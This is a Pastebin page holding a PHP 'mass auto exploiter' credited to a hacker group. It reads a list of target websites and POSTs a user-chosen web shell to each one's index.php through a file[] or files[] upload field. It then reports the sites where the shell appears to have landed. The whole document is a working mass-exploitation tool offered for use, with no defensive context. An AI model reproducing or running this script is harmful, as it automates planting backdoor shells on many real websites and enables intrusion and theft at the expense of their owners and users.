choirurrizal

Auto Exploiter All File[] & Files[]

Jul 26th, 2017
740
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.67 KB | None | 0 0
  1. <?php
  2. # ShinChan - N45HT - N45HT.WEB.ID
  3. # fb.com/angelia.put - fb.com/ShinChan.admin - fb.com/N45HTOfficial - fb.com/groups/N45HTOfficial
  4.  
  5. # your list.txt must a single directory with this exploiter #
  6.  
  7. echo "
  8.  ___  _  _  __  _  _  __  _  _   __   _  _     _    _  ____  ___
  9. / __)( )( )(  )( \( )/ _)( )( ) (  ) ( \( )   ( \/\/ )(_  _)(  _)
  10. \__ \ )__(  )(  )  (( (_  )__(  /__\  )  (  ___\    /   )(   ) _)
  11. (___/(_)(_)(__)(_)\_)\__)(_)(_)(_)(_)(_)\_)(___)\/\/   (__) (_)  
  12.    Mass Auto Exploiter file[] & files[] - coded by ShinChan
  13.  
  14.        Thanks to :  PETR03X - Mr.x0x - KillMe - IchiOcha
  15.                        All Members N45HT
  16.  
  17.  
  18. ";
  19. echo " Enter your list target name : ";
  20. $list = trim(fgets(STDIN));
  21. echo " Enter post file name (file[] or files[]) : ";
  22. $filename = trim(fgets(STDIN));
  23. echo " Enter your shell name : ";
  24. $shell = trim(fgets(STDIN));
  25.  
  26. echo "\n";
  27.  
  28. $buka = fopen("$list","r");
  29. $size = filesize("$list");
  30. $baca = fread($buka,$size);
  31. $sites = explode("\r\n", $baca);
  32. foreach($sites as $site){
  33.     if(!preg_match("/^http:\/\//", $site) AND !preg_match("/^https:\/\//", $site)){
  34.         $vuln = "http://".$site;
  35.     }else{
  36.         $vuln = $site;
  37.     }
  38.     echo "Exploiting ".$vuln;
  39.     $site = "$vuln/index.php";
  40.    
  41.     $ch = curl_init();
  42.     curl_setopt($ch, CURLOPT_URL, $site);
  43.     curl_setopt($ch, CURLOPT_POST, 1);
  44.     curl_setopt($ch, CURLOPT_POSTFIELDS, array("$filename" => "@$shell"));
  45.     curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  46.    
  47.     $hajar = curl_exec($ch);
  48.    
  49.     if(preg_match("/$shell/i", $hajar)){
  50.         $save = "Success! $vuln/files/$shell";
  51.         echo "\n$save\n\n";
  52.     }else{
  53.         echo " This site is not Vulnerable!\n\n";
  54.     }
  55.     curl_close($ch);
  56. }
  57. ?>
Advertisement
Add Comment
Please, Sign In to add comment